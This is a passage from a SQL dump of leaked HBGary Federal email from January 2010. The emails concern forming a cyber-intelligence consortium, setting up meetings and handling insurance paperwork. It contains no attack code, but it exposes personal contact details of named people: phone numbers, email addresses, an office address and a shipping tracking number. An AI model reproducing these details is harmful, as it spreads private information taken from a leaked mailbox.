at\r\n> them, Bob heard from a single source the NetWitness can not keep up\r\n> with gigabyte speeds.  JUst an FYI\r\n> \r\n> On Thu, Jan 21, 2010 at 9:54 PM, Aaron Barr  wrote:\r\n>> Rich,\r\n>> Thanks for putting together the meeting with Netwitness.  I think they are\r\n>> interested in participating in the cybersecurity alliance.\r\n>> To restate the goals.  To bring together a set of complementary capabilities\r\n>> that represent the full spectrum of cyber intelligence; HBGary, Palantir,\r\n>> Netwitness, Splunk, EndGame.  Using HBGary Federal and NG Xetron as the\r\n>> integrators.  Cybersecurity has to start with intelligence/knowledge, so\r\n>> rather than jumping too far as most do and trying to integrate security as\r\n>> well we will focus on the knowledge integration in the first step.  Once we\r\n>> have a solid working architecture for integrating intelligence from the\r\n>> various feeds into Palantir, step two will be to integrate security\r\n>> technologies, such as McAffee ePO, Sourcefire, etc.  Step three will be to\r\n>> develop automation, unified configurable interfaces, tighter integration\r\n>> between technologies.\r\n>> So far we have EndGame Systems, Palantir, HBGary.  Splunk and Netwitness\r\n>> sound interested.  I will be talking to Splunk folks tomorrow and hopefully\r\n>> hear back from Netwitness.\r\n>> Tuesday you and I will meet with EndGame Systems at 1pm to discuss a\r\n>> specific partnership on cybersecurity and IO things ;).  At 3pm we will be\r\n>> meeting with the larger group in Palantir spaces to do introductions, open\r\n>> discussion on the concept, possible outgrowths.  After that meeting I will\r\n>> start work on a press release for the alliance and start working with Xetron\r\n>> to set up the integration team.\r\n>> Aaron\r\n>> \r\n>> On Jan 19, 2010, at 10:04 AM, Rich Cummings wrote:\r\n>> \r\n>> FYI… I’ll let you know what comes back.\r\n>> \r\n>> From: Rich Cummings [mailto:rich@hbgary.com]\r\n>> Sent: Tuesday, January 19, 2010 9:22 AM\r\n>> To: \'Amit Yoran\'\r\n>> Subject: Meet this week? Integration discussion & I want to introduce CEO of\r\n>> HBGary Federal - Aaron Barr\r\n>> \r\n>> Hey Amit,\r\n>> \r\n>> Can we get together this week to talk about some integration points of our\r\n>> technologies and some Govt contracts were going after this year?  We’re\r\n>> getting into the services space with a new company we started in Nov called\r\n>> called HBGary Federal.  This organization was started to do classified work\r\n>> and to extend the HBGary product line into that arena.   HBGary’s CEO is\r\n>> Aaron Barr who comes to us from Northrop Grumman where he ran a book of\r\n>> business doing Information Operations for the last 15 or so years.\r\n>> \r\n>> I think we could team up to create some bleeding edge stuff.  This week\r\n>> looks good for Aaron and I.\r\n>> \r\n>> Thanks,\r\n>> Rich\r\n>> \r\n>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> \r\n> \r\n> -- \r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16580,'aaron_hbgary_com/16580.html'),(1414,'2010-01-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000403.M736464P3547Q1414.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Press release','Hey Brian,\r\n\r\nI am starting to work on the press release for the consortium.  Do you want Xetron mentioned in the press release?  How do you want to handle that?  See you tomorrow.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9950,'aaron_hbgary_com/9950.html'),(1415,'2010-01-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000403.M958775P3547Q1415.eml','nolan@informationsecuritysolutionsllc.com','Re: Services contract for commercial IR services','Hi Nolan,Tuesday and Friday are my packed days this week. &nbsp;Any free time on Wed/Thurs?AaronOn Jan 21, 2010, at 6:01 PM, nolan@informationsecuritysolutionsllc.com wrote:Aaron,How does 11 on Tuesday look for you? Where are you at most of the time? Would coffee at Cosi in the Reston Town Center be easy?Thanks,NolanSent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Thu, 21 Jan 2010 08:48:18 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: Services contract for commercial IR servicesNolan,Ted is out in the Springs, but how about we meet next week. &nbsp;Any days better than others?AaronOn Jan 20, 2010, at 9:44 PM, Nolan Clifford wrote:\r\n\r\nThanks Maria.\r\n&nbsp;\r\nAaron and Ted - I could link up in person next week if you \r\nguys are interested.\r\n&nbsp;\r\nBest,\r\nNolan\r\n&nbsp;\r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\nnolan@informationsecuritysolutionsllc.com\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\nSent: Tuesday, January 19, 2010 4:51 PMTo: Aaron Barr; \r\nTed@hbgary.comCc: \r\nnolan@informationsecuritysolutionsllc.comSubject: Re: Services \r\ncontract for commercial IR services\r\n\r\nAaron / Ted\r\n&nbsp;\r\nI spoke today with Nolan Clifford.&nbsp; He may&nbsp;be helpful&nbsp;with \r\nthe contract terms for IR Services.&nbsp; Nolan has an NDA with HBGary.\r\n&nbsp;\r\nNolan is available later this week or next to meet or speak with on the \r\nphone:\r\n&nbsp;\r\nYou may reach Nolan at (703) 945-7480.&nbsp; Nolan is expecting your \r\ncall.\r\n&nbsp;\r\nMaria\r\n&nbsp;\r\nNolan Clifford Bio\r\nCEO of Information Security Solutions LLC, providing a full \r\nrange of security consulting services to US Federal, Global Public Sector and \r\nCommercial clients. Former Principal, Deloitte &amp; Touche, LLP Security and \r\nPrivacy Practice. Former Director at PricewaterhouseCoopers, LLP, within the \r\nWashington Federal Practice. Former Director of Information Assurance, General \r\nDynamics Network Systems, National and Defense Intelligence Solutions and former \r\nDirector of the Federal Security Practice at Unisys Corporation. Information \r\nWarfare Officer for the Naval Reserve Network Warfare Command. Former active \r\nduty Naval Cryptology Officer. CISSP. \r\n&nbsp;-- Maria Lucas, CISSP | Account Executive | \r\nHBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 \r\nFax: 240-396-5971Website: &nbsp;www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6371,'aaron_hbgary_com/6371.html'),(1416,'2010-01-25','\"Olcott, Jacob\" <Jacob.Olcott@mail.house.gov>','/aaron@hbgary.com/new/1297000404.M145870P3547Q1416.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Idea','Aaron - sounds cool! We\'ve actually been discussing an approach like\r\nthis on the CSIS commission lately (the idea they\'ve been hashing around\r\nis how to achieve greater situational awareness, but they\'ve been\r\nproposing a non-profit agency to allow everyone to access specific\r\ninformation). \r\nWould like to discuss with you - busy this week and next, but maybe\r\nearly Feb?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, January 22, 2010 8:49 AM\r\nTo: Olcott, Jacob\r\nSubject: Idea\r\n\r\nJake,\r\n\r\n\r\nI have put together a subset of highly capable companies for the\r\npurposes of improving threat intelligence, believing that we have to\r\nimprove our knowledge of the threat before we can improve our security.\r\nOnce we have a better threat picture we integrate more\r\nproactive/reactive security capabilities and more effectively manage\r\nenterprise security based on our knowledge of the threat.\r\n\r\nA good cyber intelligence capability needs to cover and integrate all\r\nareas of cyber: executable, host, network, internet, and social\r\nanalysis.  These companies represent a best of breed, complete\r\nend-to-end cyber intelligence picture.  Using Palantir as the framework\r\nfor organizing the data feeds from the other companies and overlaying\r\nthat data with other social network analysis.\r\n\r\nApplication - HBGary (automated malware detection based on traits and\r\ncode fingerprinting)\r\nHost - Splunk (host based security monitoring)\r\nNetwork - Netwitness (Network Forensics, full textual analysis)\r\nInternet - EndGames (External network monitoring, botnet C2 monitoring,\r\nzero days)\r\nSocial - Palantir (link analysis framework for intelligence)\r\n\r\nI am bringing these companies together in an consortium, they have all\r\nbought in.  Rather than a typical integrator model, keeping the product\r\ncompanies at arms length, a consortium puts us all on a more level\r\nplaying field and forces us to think about the right solution rather\r\nthan a particular offering.\r\n\r\nAs we talked about before.  There are significant organizational and\r\ncontractual impedance\'s from bringing together the necessary pieces to\r\nenhance our cybersecurity.  So it occured to me, why not do for cyber\r\nintelligence what Space-X did for space exploration and satellite\r\ndeployments.  Forget the bureaucracy, develop the complete solution\r\nexternally from the mad house.  The individual products from these\r\ncompanies alone are significant, imagine what can be produced once we\r\nintegrate them.\r\n\r\nWhat do you think?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12054,'aaron_hbgary_com/12054.html'),(1417,'2010-01-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000404.M331572P3547Q1417.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Idea','Begin forwarded message:From: \"Olcott, Jacob\" &lt;Jacob.Olcott@mail.house.gov&gt;Date: January 25, 2010 11:46:15 AM ESTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: IdeaAaron - sounds cool! We\'ve actually been discussing an approach likethis on the CSIS commission lately (the idea they\'ve been hashing aroundis how to achieve greater situational awareness, but they\'ve beenproposing a non-profit agency to allow everyone to access specificinformation). Would like to discuss with you - busy this week and next, but maybeearly Feb?-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Friday, January 22, 2010 8:49 AMTo: Olcott, JacobSubject: IdeaJake,I have put together a subset of highly capable companies for thepurposes of improving threat intelligence, believing that we have toimprove our knowledge of the threat before we can improve our security.Once we have a better threat picture we integrate moreproactive/reactive security capabilities and more effectively manageenterprise security based on our knowledge of the threat.A good cyber intelligence capability needs to cover and integrate allareas of cyber: executable, host, network, internet, and socialanalysis. &nbsp;These companies represent a best of breed, completeend-to-end cyber intelligence picture. &nbsp;Using Palantir as the frameworkfor organizing the data feeds from the other companies and overlayingthat data with other social network analysis.Application - HBGary (automated malware detection based on traits andcode fingerprinting)Host - Splunk (host based security monitoring)Network - Netwitness (Network Forensics, full textual analysis)Internet - EndGames (External network monitoring, botnet C2 monitoring,zero days)Social - Palantir (link analysis framework for intelligence)I am bringing these companies together in an consortium, they have allbought in. &nbsp;Rather than a typical integrator model, keeping the productcompanies at arms length, a consortium puts us all on a more levelplaying field and forces us to think about the right solution ratherthan a particular offering.As we talked about before. &nbsp;There are significant organizational andcontractual impedance\'s from bringing together the necessary pieces toenhance our cybersecurity. &nbsp;So it occured to me, why not do for cyberintelligence what Space-X did for space exploration and satellitedeployments. &nbsp;Forget the bureaucracy, develop the complete solutionexternally from the mad house. &nbsp;The individual products from thesecompanies alone are significant, imagine what can be produced once weintegrate them.What do you think?Aaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',171,'aaron_hbgary_com/171.html'),(1418,'2010-01-25','nolan@informationsecuritysolutionsllc.com','/aaron@hbgary.com/new/1297000404.M560183P3547Q1418.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Services contract for commercial IR services','Darn, those days are packed for me. What about the week of the 8th?Sent via BlackBerry by AT&TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Mon, 25 Jan 2010 11:44:58 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: Services contract for commercial IR servicesHi Nolan,Tuesday and Friday are my packed days this week. &nbsp;Any free time on Wed/Thurs?AaronOn Jan 21, 2010, at 6:01 PM, nolan@informationsecuritysolutionsllc.com wrote:Aaron,How does 11 on Tuesday look for you? Where are you at most of the time? Would coffee at Cosi in the Reston Town Center be easy?Thanks,NolanSent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Thu, 21 Jan 2010 08:48:18 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: Services contract for commercial IR servicesNolan,Ted is out in the Springs, but how about we meet next week. &nbsp;Any days better than others?AaronOn Jan 20, 2010, at 9:44 PM, Nolan Clifford wrote:\r\n\r\nThanks Maria.\r\n&nbsp;\r\nAaron and Ted - I could link up in person next week if you \r\nguys are interested.\r\n&nbsp;\r\nBest,\r\nNolan\r\n&nbsp;\r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\nnolan@informationsecuritysolutionsllc.com\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\nSent: Tuesday, January 19, 2010 4:51 PMTo: Aaron Barr; \r\nTed@hbgary.comCc: \r\nnolan@informationsecuritysolutionsllc.comSubject: Re: Services \r\ncontract for commercial IR services\r\n\r\nAaron / Ted\r\n&nbsp;\r\nI spoke today with Nolan Clifford.&nbsp; He may&nbsp;be helpful&nbsp;with \r\nthe contract terms for IR Services.&nbsp; Nolan has an NDA with HBGary.\r\n&nbsp;\r\nNolan is available later this week or next to meet or speak with on the \r\nphone:\r\n&nbsp;\r\nYou may reach Nolan at (703) 945-7480.&nbsp; Nolan is expecting your \r\ncall.\r\n&nbsp;\r\nMaria\r\n&nbsp;\r\nNolan Clifford Bio\r\nCEO of Information Security Solutions LLC, providing a full \r\nrange of security consulting services to US Federal, Global Public Sector and \r\nCommercial clients. Former Principal, Deloitte &amp; Touche, LLP Security and \r\nPrivacy Practice. Former Director at PricewaterhouseCoopers, LLP, within the \r\nWashington Federal Practice. Former Director of Information Assurance, General \r\nDynamics Network Systems, National and Defense Intelligence Solutions and former \r\nDirector of the Federal Security Practice at Unisys Corporation. Information \r\nWarfare Officer for the Naval Reserve Network Warfare Command. Former active \r\nduty Naval Cryptology Officer. CISSP. \r\n&nbsp;-- Maria Lucas, CISSP | Account Executive | \r\nHBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 \r\nFax: 240-396-5971Website: &nbsp;www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',14471,'aaron_hbgary_com/14471.html'),(1419,'2010-01-25','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297000404.M771231P3547Q1419.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Tracking Number for Ins. Paperwork','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nThe information I sent you is not what you are to fill out, it\r\nis the information you need to know about the insurance and your cards.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento, CA&nbsp; 95864\r\n\r\nTel:&nbsp; 916-459-4727 ext. 101\r\n\r\nFax: 916-481-1460\r\n\r\nEmail&nbsp; deeann@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, January 25, 2010 8:36 AM\r\nTo: DeeAnn Buonaccorsi\r\nSubject: Re: Tracking Number for Ins. Paperwork\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks. &nbsp;What happened to the paperwork I filled out\r\nwith Jeff?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 22, 2010, at 6:32 PM, DeeAnn Buonaccorsi wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\njust sent all of your insurance information.&nbsp; Your start date is March 1,\r\n2010.&nbsp; Your UPS ground tracking number is 1Z AF7112 03 9454 9103.&nbsp;\r\nYou should have the package no later than Friday 1/29/09.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\n\r\n\r\n\r\n\r\nOffice Manager\r\n\r\n\r\n\r\n\r\n\r\nHBGary, Inc.\r\n\r\n\r\n\r\n\r\n\r\n3604 Fair Oaks Blvd.&nbsp; Suite 250\r\n\r\n\r\n\r\n\r\n\r\nSacramento, CA&nbsp; 95864\r\n\r\n\r\n\r\n\r\n\r\nTel:&nbsp; 916-459-4727 ext. 101\r\n\r\n\r\n\r\n\r\n\r\nFax: 916-481-1460\r\n\r\n\r\n\r\n\r\n\r\nEmail&nbsp;&nbsp;deeann@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13933,'aaron_hbgary_com/13933.html'),(1420,'2010-01-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000404.M953964P3547Q1420.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Re: Tracking Number for Ins. Paperwork','oh tks :)On Jan 25, 2010, at 12:09 PM, DeeAnn Buonaccorsi wrote:Hi Aaron,&nbsp;The information I sent you is not what you are to fill out, it is the information you need to know about the insurance and your cards.&nbsp;DeeAnn BuonaccorsiOffice ManagerHBGary, Inc.3604 Fair Oaks Blvd.&nbsp; Suite 250Sacramento, CA&nbsp; 95864Tel:&nbsp; 916-459-4727 ext. 101Fax: 916-481-1460Email&nbsp;&nbsp;deeann@hbgary.com&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, January 25, 2010 8:36 AMTo:&nbsp;DeeAnn BuonaccorsiSubject:&nbsp;Re: Tracking Number for Ins. Paperwork&nbsp;Thanks. &nbsp;What happened to the paperwork I filled out with Jeff?&nbsp;Aaron&nbsp;&nbsp;On Jan 22, 2010, at 6:32 PM, DeeAnn Buonaccorsi wrote:Hi Aaron,&nbsp;I just sent all of your insurance information.&nbsp; Your start date is March 1, 2010.&nbsp; Your UPS ground tracking number is 1Z AF7112 03 9454 9103.&nbsp; You should have the package no later than Friday 1/29/09.&nbsp;&nbsp;Thanks&nbsp;DeeAnn BuonaccorsiOffice ManagerHBGary, Inc.3604 Fair Oaks Blvd.&nbsp; Suite 250Sacramento, CA&nbsp; 95864Tel:&nbsp; 916-459-4727 ext. 101Fax: 916-481-1460Email&nbsp;&nbsp;deeann@hbgary.com&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11331,'aaron_hbgary_com/11331.html'),(1421,'2010-01-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000405.M136856P3547Q1421.eml','\"Olcott, Jacob\" <Jacob.Olcott@mail.house.gov>','Re: Idea','Sounds good. &nbsp;Maybe we can work in conjunction with the non-profit and achieve cooperative success. &nbsp;As small companies we can work at a fast pace, prototyping capabilities, developing algorithms, some of this information could be very useful to the non-profit. &nbsp;Likewise, exposure and guidance from the non-profit could greatly help our effort. &nbsp;I am driven by collaboration and thats what I want this group to be driven by, so far they have all bought into the idea, we have our first kickoff meeting tomorrow and will start the integration work soon after.I can\'t believe the way to approach this didn\'t come to me sooner, it makes so much sense. &nbsp;When approaching this problem its all about the knowledge/intelligence of the threat, but all aspects from the application internals through host, network, and beyond. &nbsp;Putting that data together and organizing it, through something like Palantir or another link analysis capability, adding in source intelligence/information. &nbsp;When this is done right, then security becomes a far less challenging problem.In our phase II of the integration we will add in the necessary security appliances and applications. &nbsp;The information derived through threat intelligence will feed the rule set and policy changes on these devices. &nbsp;Phase III will be a unified integration of the devices and applications.Timing sounds good. &nbsp;I am out in Colorado most of next week. &nbsp;How about Tuesday the 9th. &nbsp;I am open that day.AaronOn Jan 25, 2010, at 11:46 AM, Olcott, Jacob wrote:Aaron - sounds cool! We\'ve actually been discussing an approach likethis on the CSIS commission lately (the idea they\'ve been hashing aroundis how to achieve greater situational awareness, but they\'ve beenproposing a non-profit agency to allow everyone to access specificinformation). Would like to discuss with you - busy this week and next, but maybeearly Feb?-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Friday, January 22, 2010 8:49 AMTo: Olcott, JacobSubject: IdeaJake,I have put together a subset of highly capable companies for thepurposes of improving threat intelligence, believing that we have toimprove our knowledge of the threat before we can improve our security.Once we have a better threat picture we integrate moreproactive/reactive security capabilities and more effectively manageenterprise security based on our knowledge of the threat.A good cyber intelligence capability needs to cover and integrate allareas of cyber: executable, host, network, internet, and socialanalysis. &nbsp;These companies represent a best of breed, completeend-to-end cyber intelligence picture. &nbsp;Using Palantir as the frameworkfor organizing the data feeds from the other companies and overlayingthat data with other social network analysis.Application - HBGary (automated malware detection based on traits andcode fingerprinting)Host - Splunk (host based security monitoring)Network - Netwitness (Network Forensics, full textual analysis)Internet - EndGames (External network monitoring, botnet C2 monitoring,zero days)Social - Palantir (link analysis framework for intelligence)I am bringing these companies together in an consortium, they have allbought in. &nbsp;Rather than a typical integrator model, keeping the productcompanies at arms length, a consortium puts us all on a more levelplaying field and forces us to think about the right solution ratherthan a particular offering.As we talked about before. &nbsp;There are significant organizational andcontractual impedance\'s from bringing together the necessary pieces toenhance our cybersecurity. &nbsp;So it occured to me, why not do for cyberintelligence what Space-X did for space exploration and satellitedeployments. &nbsp;Forget the bureaucracy, develop the complete solutionexternally from the mad house. &nbsp;The individual products from thesecompanies alone are significant, imagine what can be produced once weintegrate them.What do you think?Aaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5745,'aaron_hbgary_com/5745.html'),(1422,'2010-01-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000405.M460935P3547Q1422.eml','\"Bill Hornish\" <bhornish@splunk.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Brian Masterson\" <Brian.Masterson@ngc.com>,\"Brian Girardi\" <brian@netwitness.com>,\"John Farrell\" <john@endgames.us>,\"Matthew Steckman\" <msteckman@palantirtech.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Bill Hornish\" <bhornish@splunk.com>,\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Idea','Hey Guys,\r\n\r\nFYI.  I meet with Jake from time to time to discuss cybersecurity issues.  He is the staff director for the house subcommittee for emerging threats, cybersecurity, and S&T.  That is the same subcommittee that sponsored the CSIS paper for cybersecurity recommendations for the 44th presidency, chaired by Jim Lewis.\r\n\r\nI am getting lots of good responses to this concept.  I think I mentioned to all of you separately that what I would like to shoot for in late spring is a cyber intelligence summit, led by us, maybe co-sponsored by the CSIS?\r\n\r\nSee you all tomorrow.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> \r\n> Aaron - sounds cool! We\'ve actually been discussing an approach like\r\n> this on the CSIS commission lately (the idea they\'ve been hashing around\r\n> is how to achieve greater situational awareness, but they\'ve been\r\n> proposing a non-profit agency to allow everyone to access specific\r\n> information). \r\n> Would like to discuss with you - busy this week and next, but maybe\r\n> early Feb?\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, January 22, 2010 8:49 AM\r\n> To: Olcott, Jacob\r\n> Subject: Idea\r\n> \r\n> Jake,\r\n> \r\n> \r\n> I have put together a subset of highly capable companies for the\r\n> purposes of improving threat intelligence, believing that we have to\r\n> improve our knowledge of the threat before we can improve our security.\r\n> Once we have a better threat picture we integrate more\r\n> proactive/reactive security capabilities and more effectively manage\r\n> enterprise security based on our knowledge of the threat.\r\n> \r\n> A good cyber intelligence capability needs to cover and integrate all\r\n> areas of cyber: executable, host, network, internet, and social\r\n> analysis.  These companies represent a best of breed, complete\r\n> end-to-end cyber intelligence picture.  Using Palantir as the framework\r\n> for organizing the data feeds from the other companies and overlaying\r\n> that data with other social network analysis.\r\n> \r\n> Application - HBGary (automated malware detection based on traits and\r\n> code fingerprinting)\r\n> Host - Splunk (host based security monitoring)\r\n> Network - Netwitness (Network Forensics, full textual analysis)\r\n> Internet - EndGames (External network monitoring, botnet C2 monitoring,\r\n> zero days)\r\n> Social - Palantir (link analysis framework for intelligence)\r\n> \r\n> I am bringing these companies together in an consortium, they have all\r\n> bought in.  Rather than a typical integrator model, keeping the product\r\n> companies at arms length, a consortium puts us all on a more level\r\n> playing field and forces us to think about the right solution rather\r\n> than a particular offering.\r\n> \r\n> As we talked about before.  There are significant organizational and\r\n> contractual impedance\'s from bringing together the necessary pieces to\r\n> enhance our cybersecurity.  So it occured to me, why not do for cyber\r\n> intelligence what Space-X did for space exploration and satellite\r\n> deployments.  Forget the bureaucracy, develop the complete solution\r\n> externally from the mad house.  The individual products from these\r\n> companies alone are significant, imagine what can be produced once we\r\n> integrate them.\r\n> \r\n> What do you think?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3454,'aaron_hbgary_com/3454.html'),(1423,'2010-01-25','\"Brian Girardi\" <brian@netwitness.com>','/aaron@hbgary.com/new/1297000405.M652483P3547Q1423.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Idea','\r\n\r\nRe: Idea\r\n\r\n\r\nAaron... Unless it went into my junk I didn&#8217;t get the invite yet.\r\n\r\n\r\nOn 1/25/10 12:26 PM, &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHey Guys,\r\n\r\nFYI. &nbsp;I meet with Jake from time to time to discuss cybersecurity issues. &nbsp;He is the staff director for the house subcommittee for emerging threats, cybersecurity, and S&amp;T. &nbsp;That is the same subcommittee that sponsored the CSIS paper for cybersecurity recommendations for the 44th presidency, chaired by Jim Lewis.\r\n\r\nI am getting lots of good responses to this concept. &nbsp;I think I mentioned to all of you separately that what I would like to shoot for in late spring is a cyber intelligence summit, led by us, maybe co-sponsored by the CSIS?\r\n\r\nSee you all tomorrow.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n&gt;\r\n&gt; Aaron - sounds cool! We\'ve actually been discussing an approach like\r\n&gt; this on the CSIS commission lately (the idea they\'ve been hashing around\r\n&gt; is how to achieve greater situational awareness, but they\'ve been\r\n&gt; proposing a non-profit agency to allow everyone to access specific\r\n&gt; information).\r\n&gt; Would like to discuss with you - busy this week and next, but maybe\r\n&gt; early Feb?\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Friday, January 22, 2010 8:49 AM\r\n&gt; To: Olcott, Jacob\r\n&gt; Subject: Idea\r\n&gt;\r\n&gt; Jake,\r\n&gt;\r\n&gt;\r\n&gt; I have put together a subset of highly capable companies for the\r\n&gt; purposes of improving threat intelligence, believing that we have to\r\n&gt; improve our knowledge of the threat before we can improve our security.\r\n&gt; Once we have a better threat picture we integrate more\r\n&gt; proactive/reactive security capabilities and more effectively manage\r\n&gt; enterprise security based on our knowledge of the threat.\r\n&gt;\r\n&gt; A good cyber intelligence capability needs to cover and integrate all\r\n&gt; areas of cyber: executable, host, network, internet, and social\r\n&gt; analysis. &nbsp;These companies represent a best of breed, complete\r\n&gt; end-to-end cyber intelligence picture. &nbsp;Using Palantir as the framework\r\n&gt; for organizing the data feeds from the other companies and overlaying\r\n&gt; that data with other social network analysis.\r\n&gt;\r\n&gt; Application - HBGary (automated malware detection based on traits and\r\n&gt; code fingerprinting)\r\n&gt; Host - Splunk (host based security monitoring)\r\n&gt; Network - Netwitness (Network Forensics, full textual analysis)\r\n&gt; Internet - EndGames (External network monitoring, botnet C2 monitoring,\r\n&gt; zero days)\r\n&gt; Social - Palantir (link analysis framework for intelligence)\r\n&gt;\r\n&gt; I am bringing these companies together in an consortium, they have all\r\n&gt; bought in. &nbsp;Rather than a typical integrator model, keeping the product\r\n&gt; companies at arms length, a consortium puts us all on a more level\r\n&gt; playing field and forces us to think about the right solution rather\r\n&gt; than a particular offering.\r\n&gt;\r\n&gt; As we talked about before. &nbsp;There are significant organizational and\r\n&gt; contractual impedance\'s from bringing together the necessary pieces to\r\n&gt; enhance our cybersecurity. &nbsp;So it occured to me, why not do for cyber\r\n&gt; intelligence what Space-X did for space exploration and satellite\r\n&gt; deployments. &nbsp;Forget the bureaucracy, develop the complete solution\r\n&gt; externally from the mad house. 